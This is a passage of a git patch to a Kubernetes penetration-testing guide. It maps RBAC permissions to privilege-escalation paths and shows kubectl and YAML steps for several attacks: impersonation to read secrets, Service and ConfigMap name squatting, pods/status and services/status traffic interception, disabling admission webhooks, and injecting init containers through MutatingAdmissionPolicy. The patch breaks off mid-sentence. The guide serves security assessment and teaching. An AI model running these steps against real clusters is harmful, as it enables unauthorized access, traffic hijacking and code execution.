Reaches kubelet APIs and can become Pod execution. | [Nodes proxy](#nodes-proxy) | -| `impersonate*` on users, groups, ServiceAccounts, UIDs, or user extras | Sends authorized requests as another identity. | [Impersonating privileged accounts](#impersonating-privileged-accounts) | +| `impersonate` on users or ServiceAccounts | Sends authorized requests as another identity. Group, UID, and extra-field grants cannot initiate impersonation alone. | [Impersonating privileged accounts](#impersonating-privileged-accounts) | | `bind` on Roles or ClusterRoles | Bypasses the normal check that the caller already holds every permission in the referenced role. | [Bind](#bind) | | `escalate` on Roles or ClusterRoles | Bypasses the normal check on permissions placed into a role. | [Escalate](#escalate) | @@ -25,22 +25,24 @@ Remember that you can get all the supported resources with `kubectl api-resource | Permission family | Typical attack | Detailed example | | --- | --- | --- | -| Pod create and controller create/update/patch: Deployments, DaemonSets, StatefulSets, ReplicaSets, ReplicationControllers, Jobs, and CronJobs | Run code as a selectable ServiceAccount, mount data, or request a node-escape configuration if admission allows it. | [Pod Create - Steal Token](#pod-create-steal-token) and [controller writes](#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs) | +| Pod create/update/patch and controller create/update/patch: Deployments, DaemonSets, StatefulSets, ReplicaSets, ReplicationControllers, Jobs, and CronJobs | Run code as a selectable ServiceAccount, or move Service traffic by changing Pod labels, if admission allows it. | [Pod Create - Steal Token](#pod-create-steal-token), [controller writes](#createpatch-deployment-daemonsets-statefulsets-replicationcontrollers-replicasets-jobs-and-cronjobs), and [Pod-label traffic hijack](../kubernetes-network-attacks.md#pod-label-traffic-hijack) | | `pods/exec`, `pods/attach`, `pods/portforward`, `pods/proxy`, `services/proxy`, and `pods/ephemeralcontainers` | Execute in a workload or reach a backend available only from its network context. | [Pod interactive subresources](#pod-interactive-subresources) | | `create` on `pods/binding` or core `bindings` | Place an existing unscheduled Pod directly onto a chosen Node. | [Direct scheduling](#nodes-and-pods-status) | | CSR creation, CSR approval writes, and `approve` on the selected Signer | Obtain a client certificate when the tested signer and pre-existing privileged username are reachable. | [Certificate Signing Requests](#certificate-signing-requests) | | Secret writes | Create a legacy ServiceAccount token Secret, replace credentials, or poison configuration consumed by a workload. | [Creating and Reading Secrets](#creating-and-reading-secrets) | -| ConfigMap update/patch | Poison configuration consumed by a running workload. | [Mounted ConfigMap live update](#mounted-configmap-live-update) | -| Role, ClusterRole, RoleBinding, and ClusterRoleBinding create/update/patch | Reuse held privileges or combine with `bind`/`escalate`; ordinary escalation prevention still applies. | [Built-in Privilege Escalation Prevention](#built-in-privileged-escalation-prevention) | -| ValidatingAdmissionPolicyBinding update/patch/delete, and Namespace create/update/patch | Change `Deny` to `Warn`, remove the binding, or leave its namespace selector to admit a previously denied request. | [Tested binding bypass](../kubernetes-validatingwebhookconfiguration.md#tested-validatingadmissionpolicy-binding-bypass) | +| ConfigMap create/update/patch | Supply an expected but missing configuration name or poison configuration consumed by a running workload. | [ConfigMap name squatting and live update](#configmap-name-squatting-and-live-update) | +| ValidatingAdmissionPolicy or binding update/patch/delete; admission-webhook update/patch/delete; MutatingAdmissionPolicy or binding create/update/patch | Admit a previously denied request, fail open, or inject an init/sidecar container into later Pods. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | +| Namespace create/update/patch | Leave a policy selector or enter an exempt scope and admit a previously denied request. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | | NetworkPolicy update/patch/delete and ClusterTrustBundle update/patch | Reopen denied traffic or replace a CA projected into a running Pod. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | -| Service or EndpointSlice update/patch | Redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | +| Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | +| Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | +| Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | | PersistentVolume create | Mount a Node `hostPath` into a workload when PVC and Pod permissions complete the chain. | [Storage control objects](#storage-control-objects) | | Node update/patch | Add a label required by a pending workload and cause it to schedule on that Node. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | | Resource `*` create/update/patch | Includes one or more of the reproduced mutation paths above. | [Access Any Resource or Verb](#access-any-resource-or-verb-wildcard) | | Non-resource `*` or `/debug/*`, only when a safe concrete debug endpoint responds | Expose live API-server diagnostics; the tested `/debug/pprof/goroutine` path disclosed process state. | [Sensitive non-resource URLs](#sensitive-non-resource-urls) | -Reads of Pods, logs, ConfigMaps, RBAC, identities, topology, and storage are normally **medium** because they supply attack inputs but do not cross the boundary alone. Pod deletion/patch, eviction and status writes, signer `sign`/`attest`, CSR status, SCC/PSP `use`, other admission objects, Kyverno/Gatekeeper, PodTemplate, ServiceAccount, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PVC, snapshot/CSI, CRD/APIService, PodCertificateRequest, DRA, StorageVersionMigration, Lease, and unknown custom-resource writes also default to medium until their exact platform path is reproduced. Basic discovery and self-review are **low**. Promote a custom-resource/controller finding only after validating its controller, target, and privilege differential. +Reads of Pods, logs, ConfigMaps, RBAC, identities, topology, and storage are normally **medium** because they supply attack inputs but do not cross the boundary alone. Ordinary Role/ClusterRole/RoleBinding/ClusterRoleBinding writes without the matching `bind` or `escalate` capability, Pod deletion/eviction, Node status, signer `sign`/`attest`, CSR status, SCC/PSP `use`, controller-specific admission objects, Kyverno/Gatekeeper, PodTemplate, ServiceAccount, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PVC, snapshot/CSI, CRD/APIService, PodCertificateRequest, DRA, StorageVersionMigration, Lease, and unknown custom-resource writes also default to medium until their exact platform path is reproduced. Traditional group/UID/user-extra impersonation grants are conditional because user impersonation is separately required. Basic discovery and self-review are **low**. Classification must use both API group and resource: a CRD named `secrets`, `pods`, or `services` is not the built-in object. Promote a custom-resource/controller finding only after validating its controller, target, and privilege differential. ## **Privilege Escalation** @@ -401,7 +403,7 @@ For a data-access proof, use disposable non-sensitive data and show the complete ### **Impersonating privileged accounts** -With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.[[22]](#references) +With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/) privilege, an attacker could impersonate a privileged account.[[22]](#references) Just use the parameter `--as=` in the `kubectl` command to impersonate a user, or `--as-group=` to impersonate a group: @@ -420,6 +422,39 @@ curl -k -v -XGET -H "Authorization: Bearer " \ https://:/api/v1/namespaces/kube-system/secrets/ ``` +Traditional group, UID, and user-extra impersonation permissions are not enough by themselves: Kubernetes also requires permission to impersonate the named user in the request. This was reproduced by granting only `impersonate` on groups, which still returned `Forbidden`; adding user impersonation made the same request succeed. + +### Constrained impersonation + +Kubernetes 1.36 introduced constrained impersonation, enabled by default, so RBAC can allow only selected operations while another identity is active. It splits authorization into two permissions:[[22]](#references) + +- an identity selector such as `impersonate:user-info` on `users.authentication.k8s.io`; and +- an action such as `impersonate-on:user-info:get` on the exact target resource. + +The following minimal pair was reproduced on Kubernetes 1.37. The ServiceAccount had no direct Secret read, and neither half worked alone; together it could read only the named Secret while impersonating `privileged-user`: + +```yaml +rules: +- apiGroups: ["authentication.k8s.io"] + resources: ["users"] + resourceNames: ["privileged-user"] + verbs: ["impersonate:user-info"] +- apiGroups: [""] + resources: ["secrets"] + resourceNames: ["marker"] + verbs: ["impersonate-on:user-info:get"] +``` + +```bash +kubectl auth can-i --list -n | grep 'impersonate' +python3 K8sPEASS.py --namespace --no-ask --skip-bruteforce +kubectl get secret marker -n --as=privileged-user +``` + +`kubectl auth can-i ` may resolve the virtual identity resource through discovery incorrectly; use the list output, a raw `SelfSubjectAccessReview`, or K8sPEASS for exact special-verb checks. + +Other modes include `impersonate:serviceaccount`, `impersonate:arbitrary-node`, and `impersonate:associated-node`. Treat each grant as conditional until the matching identity/action half and the exact target name are confirmed; it is intentionally narrower than traditional unrestricted user or ServiceAccount impersonation. + ### Listing Secrets The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint:[[11]](#references) @@ -666,7 +701,23 @@ data: > However, `aws --profile other_account eks update-kubeconfig --name ` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\ > To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS. -### Mounted ConfigMap live update +### ConfigMap name squatting and live update + +Create-only ConfigMap permission is exploitable when a workload already references a required, non-optional name that does not exist. In the reproduced path, the victim Pod remained in `ContainerCreating`; an identity with only `create configmaps` supplied the expected name and marker, and the unchanged Pod started after kubelet retried the volume mount: + +```bash +kubectl auth can-i create configmaps -n +kubectl get pod -n -o jsonpath='{.spec.volumes}' +kubectl get events -n --field-selector involvedObject.name= + +kubectl create configmap -n \ + --from-literal=value=ATTACKER_CONFIG + +# Confirm the same Pod, UID and consumer path now use the supplied value. +kubectl get pod -n -o wide +``` + +This needs an exact dangling reference. Creating an arbitrary ConfigMap without a consumer is not an attack path. A ConfigMap update is a true positive when a live consumer changes behavior, not merely when the API accepts the patch. The reproduced test used an already-running HTTP Pod with a ConfigMap volume: its response was `SAFE_CONFIG`, the attacker patched only the ConfigMap, and the same Pod returned `ATTACKER_CONFIG` after kubelet refreshed the projected file. @@ -831,10 +882,34 @@ kubectl delete pod -n Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the clus**ter. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).[[38]](#references)[[39]](#references) +This was reproduced with a LoadBalancer Service that selected an attacker Pod. Before the status change, a client reached a trusted Pod IP and received `TRUSTED`; after an identity with only `patch services/status` advertised that same IP, kube-proxy intercepted the unchanged request and the client received `ATTACKER`: + +```bash +kubectl auth can-i patch services/status -n +kubectl patch service -n --subresource=status \ + --type=merge -p='{"status":{"loadBalancer":{"ingress":[{"ip":""}]}}}' + +# Repeat the identical client request to and compare the marker. +``` + +Confirm the cluster's proxy implementation actually programs the advertised IP. A stored status value without changed traffic is not a true positive. + ### Nodes and Pods status Principals with **`update`** or **`patch`** permissions over `nodes/status` can alter allocatable capacity and conditions used by scheduling and controllers. `pods/status` writes can spoof Pod IPs, readiness, phase, and other controller inputs. Metadata labels are not part of either status subresource; changing them requires patch/update on the parent Node or Pod. +The Pod readiness path was reproduced using an HTTP attacker Pod whose readiness probe always failed. The Service had no usable backend and its EndpointSlice reported `ready: false`. An identity with only `patch pods/status` set the Pod Ready condition to `True`; the EndpointSlice controller changed it to `ready: true`, and the same client request immediately received the attacker's marker: + +```bash +kubectl auth can-i patch pods/status -n +kubectl patch pod -n --subresource=status \ + --type=merge -p='{"status":{"conditions":[{"type":"Ready","status":"True","reason":"ManualReady","message":"authorized lab"}]}}' +kubectl get endpointslice -n \ + -l kubernetes.io/service-name= -o yaml +``` + +Kubelet may restore the real condition, so capture the EndpointSlice change and application response. Pod status is high for this traffic primitive; Node status remains medium unless the complete scheduling chain is present. + Direct scheduling can use `create pods/binding` or the legacy core `bindings` resource to assign an unscheduled Pod to a Node. Admission and the scheduler are bypassed for the placement decision, but creating or modifying the Pod remains a separate permission: ```bash @@ -881,7 +956,7 @@ This changes trust only for consumers that project and use that bundle; it does kubectl auth can-i patch clustertrustbundles.certificates.k8s.io ``` -Writes to SCC/PSP, webhook and other admission objects, Kyverno/Gatekeeper, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PodTemplate, RuntimeClass, API priority/fairness, Lease, CRD, APIService, DRA, and unknown controller custom resources are reported as medium until an end-to-end privilege or data path is validated. Do not elevate a custom resource merely because its controller ServiceAccount is powerful: prove that the attacker-controlled field causes the privileged action. +Writes to SCC/PSP, controller-specific admission objects, Kyverno/Gatekeeper, ResourceQuota, LimitRange, PodDisruptionBudget, PriorityClass, PodTemplate, RuntimeClass, API priority/fairness, Lease, CRD, APIService, DRA, and unknown controller custom resources are reported as medium until an end-to-end privilege or data path is validated. The reproduced built-in webhook and native admission-policy mutations listed in the high table are the exceptions. Do not elevate a custom resource merely because its controller ServiceAccount is powerful: prove that the attacker-controlled field causes the privileged action. ### Sensitive non-resource URLs @@ -1052,7 +1127,7 @@ https://github.com/aquasecurity/kube-bench - [19] [kubectl port-forward](https://kubernetes.io/docs/reference/kubectl/generated/kubectl_port-forward/) - [20] [Dangers of HostPath PersistentVolumes](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) - [21] [Kubernetes Security: Pod Escape Through Log Mounts](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) -- [22] [User impersonation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) +- [22] [User impersonation](https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/) - [23] [Kubernetes random string implementation](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) - [24] [Encrypting Confidential Data at Rest](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) - [25] [TLS bootstrapping](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 8bbb07cc64..2ed27590d9 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -53,7 +53,7 @@ If you don't know what is **RBAC**, **read this section**. ### K8sPEASS read-only permission enumeration -[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. When those APIs are denied, it falls back to a fixed set of exact permission checks and local kubeconfig, in-cluster, and unverified token context, so an identity with almost no cluster visibility still gets useful evidence. +[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. When those APIs are denied, it falls back to a fixed set of exact permission checks covering credentials, workloads, traffic objects, status subresources, admission controls, and traditional or constrained impersonation. Local kubeconfig, in-cluster, and explicitly unverified token context still provide evidence to an identity with almost no cluster visibility. ```bash python3 K8sPEASS.py --context --namespace @@ -69,7 +69,7 @@ python3 K8sPEASS.py --no-ask --skip-bruteforce \ The exhaustive discovered-resource matrix can be slow and noisy in audit logs, so interactive use asks before running it. Use `--brute-force-permissions` only when the scope authorizes that enumeration; `--no-ask` alone skips it. Repeating `--namespace` is useful when namespace listing is forbidden but names are known. -Interpret a reported permission as a primitive, not proof of exploitation. Resource names, namespaces, admission, target ServiceAccounts, reachable controllers, selectors, and multi-permission chains still decide impact. The [Kubernetes dangerous-permission map](abusing-roles-clusterroles-in-kubernetes/README.md#k8speass-severity-and-attack-path-map) explains every critical/high family and its example attack path. +Interpret a reported permission as a primitive, not proof of exploitation. Resource names, API groups, namespaces, admission, target ServiceAccounts, reachable controllers, selectors, and multi-permission chains still decide impact. K8sPEASS uses the API group as well as the resource name, so a same-named CRD is not mistaken for a built-in Secret, Pod, or Service. It also recognizes Kubernetes 1.36+ `impersonate:` and `impersonate-on::` grants even though discovery does not advertise those verbs. The [Kubernetes dangerous-permission map](abusing-roles-clusterroles-in-kubernetes/README.md#k8speass-severity-and-attack-path-map) explains every critical/high family and its example attack path. ## GUI Applications diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 04cce880f7..f98cb36fec 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -166,6 +166,7 @@ Write access to core traffic objects can redirect a trusted name without modifyi - Changing a Service selector makes its controller select a different set of Pods. - For a selectorless Service, changing an EndpointSlice controls its backends. EndpointSlices managed for a selector-based Service are reconciled by the controller, so direct edits may be replaced.[[13]](#references)[[14]](#references) +- Create-only permission can name-squat an expected but absent Service, legacy Endpoints object, or EndpointSlice. This authorized lab example demonstrates a selector redirect using two Pods that return different bodies: @@ -187,10 +188,82 @@ kubectl run traffic-check --rm -i --restart=Never --image=curlimages/curl -- \ -sS http://trusted-api ``` +### Pod-label traffic hijack + +The Service does not need to be writable if the attacker can patch its selected Pods. This path was reproduced with an identity that had only `patch pods`: the trusted Pod was moved off `app=trusted`, the attacker Pod was assigned that label, and an unchanged request to the Service changed from `TRUSTED` to `ATTACKER`. + +```bash +kubectl auth can-i patch pods -n +kubectl get service -n -o jsonpath='{.spec.selector}' +kubectl patch pod -n --type=merge \ + -p='{"metadata":{"labels":{"app":"trusted"}}}' +kubectl patch pod -n --type=merge \ + -p='{"metadata":{"labels":{"app":"displaced"}}}' + +# Repeat the same request to the Service and compare the response marker. +``` + +Controllers may restore Pod labels or replace managed Pods. Also check whether the labels control NetworkPolicies or admission selectors, because the same permission can cross those boundaries. + +### Create-only name squatting + +Service creation was reproduced against a client configured to call a trusted DNS name that did not yet exist. The initial request failed; an identity with only `create services` created that expected name selecting an attacker Pod, and the unchanged request returned `ATTACKER`: + +```bash +kubectl auth can-i create services -n + +# Strict create-only proof: submit the final selector in the original request. +kubectl create -f - <<'EOF' +apiVersion: v1 +kind: Service +metadata: + name: + namespace: +spec: + selector: + app: attacker + ports: + - port: 80 + targetPort: 5678 +EOF +``` + +For a selectorless Service, an identity with only `create endpointslices.discovery.k8s.io` can create the first backend set. The following shape was reproduced with the attacker Pod IP and changed an initially failing Service request to `ATTACKER`: + +```yaml +apiVersion: discovery.k8s.io/v1 +kind: EndpointSlice +metadata: + name: expected-service-attacker + namespace: + labels: + kubernetes.io/service-name: +addressType: IPv4 +ports: +- name: http + protocol: TCP + port: 5678 +endpoints: +- addresses: [""] + conditions: + ready: true +``` + +Core `create endpoints` was separately reproduced against a selectorless Service: the EndpointSlice mirroring controller produced a routable slice and the client reached the attacker. Endpoints mirroring is deprecated since Kubernetes 1.33, so prefer EndpointSlices and verify the feature on the target version. + For a selectorless Service, inspect both the Service and its EndpointSlices and verify the address family, port name/protocol, `kubernetes.io/service-name` label, readiness conditions, and whether the endpoint points to a Pod, node, external IP, or loopback/link-local address. The API server rejects some forbidden proxy targets, but direct clients and controllers may have different trust boundaries.[[13]](#references)[[14]](#references) Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat Ingress, Gateway API, OpenShift Route, and service-mesh objects as controller-specific until that exact controller accepts the object and traffic demonstrably changes. +### Status-based traffic interception + +Two status-subresource paths were reproduced independently: + +- `patch pods/status` changed a deliberately NotReady attacker Pod to Ready; the EndpointSlice controller set `ready: true`, and the Service began returning the attacker marker. +- `patch services/status` advertised a trusted Pod IP as a LoadBalancer ingress IP; kube-proxy then intercepted the same direct-IP request and returned the attacker's Service backend, demonstrating the CVE-2020-8554 class. + +See [Services status and Pod readiness](abusing-roles-clusterroles-in-kubernetes/README.md#services-status-cve-2020-8554) for the exact checks. Both require application-layer before/after proof because another controller may overwrite status or the local proxy may not claim the address. + ### DNS In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:[[2]](#references)[[9]](#references)[[12]](#references) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index daddff069d..98a3669e7a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -111,7 +111,7 @@ Security checks: - `paramKind` and `paramRef` can make ConfigMaps or CRD-backed parameter objects part of the policy boundary; check who can modify those parameter objects.[[5]](#references)[[6]](#references) - Writes to policies, bindings, and parameter resources should be treated like privileged admission-control changes.[[4]](#references)[[5]](#references) -### Tested ValidatingAdmissionPolicy binding bypass +### Tested admission-control mutations Changing a live `ValidatingAdmissionPolicyBinding` can weaken enforcement for later requests. This is a high-risk permission only when the binding currently enforces a matching policy; the following path was reproduced with a denied Pod as the negative control. @@ -136,7 +136,65 @@ kubectl patch validatingadmissionpolicybinding --type=json \ The namespace-selector variant was also reproduced: a Pod was denied while its namespace label matched the binding, then admitted after that label was removed. Record the denied negative control, one policy or namespace-label change, and an equivalent admitted request. Restore the original object immediately after testing. -Do not generalize this result to webhook, Kyverno, Gatekeeper, parameter-object, or MutatingAdmissionPolicy writes from the resource name alone. Those paths are controller/configuration-specific and need the same deny-change-admit proof before being reported as a true positive. Admission writes are not automatic cluster-admin: the attacker still needs a later allowed API operation, and authorization plus other admission layers still apply. +The same deny-change-admit method produced these additional true positives on Kubernetes 1.37: + +- `patch validatingadmissionpolicies` changed the rejecting CEL expression to `true`; the identical Pod request was then admitted. +- `delete validatingadmissionpolicies` or `delete validatingadmissionpolicybindings` removed enforcement; each was tested independently with a forbidden negative control. +- `patch validatingwebhookconfigurations` changed a broken security webhook from `failurePolicy: Fail` to `Ignore`; the identical Pod was admitted. +- `delete mutatingwebhookconfigurations` removed a broken fail-closed webhook; the identical Pod was admitted. + +```bash +kubectl auth can-i patch validatingadmissionpolicies.admissionregistration.k8s.io +kubectl auth can-i delete validatingadmissionpolicybindings.admissionregistration.k8s.io +kubectl auth can-i patch validatingwebhookconfigurations.admissionregistration.k8s.io +kubectl auth can-i delete mutatingwebhookconfigurations.admissionregistration.k8s.io + +# Examples for an authorized disposable cluster only. +kubectl patch validatingadmissionpolicy --type=json \ + -p='[{"op":"replace","path":"/spec/validations/0/expression","value":"true"}]' +kubectl patch validatingwebhookconfiguration --type=json \ + -p='[{"op":"replace","path":"/webhooks/0/failurePolicy","value":"Ignore"}]' +``` + +#### MutatingAdmissionPolicy code injection + +Native `MutatingAdmissionPolicy` needs no external webhook workload. Its `JSONPatch` mutation can add an init container to later matching Pods. This was reproduced from a benign label-only policy: an identity with only `patch mutatingadmissionpolicies` replaced the mutation, and a new Pod ran the injected init container and printed the test marker. + +```yaml +spec: + failurePolicy: Fail + matchConstraints: + resourceRules: + - apiGroups: [""] + apiVersions: ["v1"] + operations: ["CREATE"] + resources: ["pods"] + matchConditions: + - name: disposable-test-only + expression: object.metadata.name.startsWith('map-test-') + mutations: + - patchType: JSONPatch + jsonPatch: + expression: >- + [JSONPatch{op: "add", path: "/spec/initContainers", + value: [Object.spec.initContainers{name: "injected", image: "busybox:1.36", + command: ["sh", "-c", "echo MAP_CODE_EXEC_TRUE_POSITIVE"]}]}] +``` + +The binding is an equally important control plane. These independent paths also executed the marker: + +- `patch mutatingadmissionpolicybindings` repointed a benign binding's `policyName` to an existing malicious policy. +- `create mutatingadmissionpolicybindings` activated an existing unbound malicious policy. +- `create mutatingadmissionpolicies` filled the policy name referenced by an existing dangling binding. + +```bash +kubectl auth can-i patch mutatingadmissionpolicies.admissionregistration.k8s.io +kubectl auth can-i patch mutatingadmissionpolicybindings.admissionregistration.k8s.io +kubectl patch mutatingadmissionpolicybinding --type=merge \ + -p='{"spec":{"policyName":""}}' +``` + +All admission paths are conditional on a later API request matching the policy or webhook. They are not automatic cluster-admin, and another admission layer can still reject the request. Preserve a denied or benign negative control, change only the single authorized object, repeat an equivalent request, capture the injected container or admitted object, and restore the original configuration. Kyverno, Gatekeeper, parameter objects, and other controller-specific resources still require their own end-to-end proof. ### Abusing Kyverno and Gatekeeper VWC From 4567b8e7bea785d58ada060e732c8e85bd2f7430 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 7 Sep 2026 23:10:02 +0200 Subject: [PATCH 3/9] Document tested Kubernetes admission permission paths --- .../README.md | 4 ++- .../kubernetes-enumeration.md | 2 +- ...bernetes-validatingwebhookconfiguration.md | 31 ++++++++++++++++++- 3 files changed, 34 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 5e91d37594..81eac116f4 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -31,7 +31,9 @@ Remember that you can get all the supported resources with `kubectl api-resource | CSR creation, CSR approval writes, and `approve` on the selected Signer | Obtain a client certificate when the tested signer and pre-existing privileged username are reachable. | [Certificate Signing Requests](#certificate-signing-requests) | | Secret writes | Create a legacy ServiceAccount token Secret, replace credentials, or poison configuration consumed by a workload. | [Creating and Reading Secrets](#creating-and-reading-secrets) | | ConfigMap create/update/patch | Supply an expected but missing configuration name or poison configuration consumed by a running workload. | [ConfigMap name squatting and live update](#configmap-name-squatting-and-live-update) | -| ValidatingAdmissionPolicy or binding update/patch/delete; admission-webhook update/patch/delete; MutatingAdmissionPolicy or binding create/update/patch | Admit a previously denied request, fail open, or inject an init/sidecar container into later Pods. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | +| ValidatingAdmissionPolicy or binding update/patch/delete; admission-webhook create/update/patch/delete; MutatingAdmissionPolicy or binding create/update/patch | Admit a previously denied request, fail open, inject an init/sidecar container into later Pods, or disclose matching objects to a newly registered validating endpoint. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | +| Exact custom verb used by a canonical negated admission authorizer match condition | Make the condition false and skip the referenced policy or webhook check. | [Authorizer match-condition grants](../kubernetes-validatingwebhookconfiguration.md#authorizer-match-condition-grants) | +| Exact create/patch/update/delete on a named ValidatingAdmissionPolicy parameter, only when the live binding makes that verb effective | Change the policy decision through its referenced parameter object. | [ValidatingAdmissionPolicy parameter-object writes](../kubernetes-validatingwebhookconfiguration.md#validatingadmissionpolicy-parameter-object-writes) | | Namespace create/update/patch | Leave a policy selector or enter an exempt scope and admit a previously denied request. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | | NetworkPolicy update/patch/delete and ClusterTrustBundle update/patch | Reopen denied traffic or replace a CA projected into a running Pod. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 2ed27590d9..e01a968c6b 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -53,7 +53,7 @@ If you don't know what is **RBAC**, **read this section**. ### K8sPEASS read-only permission enumeration -[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. When those APIs are denied, it falls back to a fixed set of exact permission checks covering credentials, workloads, traffic objects, status subresources, admission controls, and traditional or constrained impersonation. Local kubeconfig, in-cluster, and explicitly unverified token context still provide evidence to an identity with almost no cluster visibility. +[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. From readable live admission configuration it also derives bounded exact checks for canonical authorizer break-glass grants and explicitly named ValidatingAdmissionPolicy parameter objects; these are raised only when the matching SSAR is allowed and the observed configuration makes the path effective. When broader APIs are denied, it falls back to a fixed set of exact permission checks covering credentials, workloads, traffic objects, status subresources, admission controls, and traditional or constrained impersonation. Local kubeconfig, in-cluster, and explicitly unverified token context still provide evidence to an identity with almost no cluster visibility. ```bash python3 K8sPEASS.py --context --namespace diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 98a3669e7a..702397f3f3 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -143,6 +143,35 @@ The same 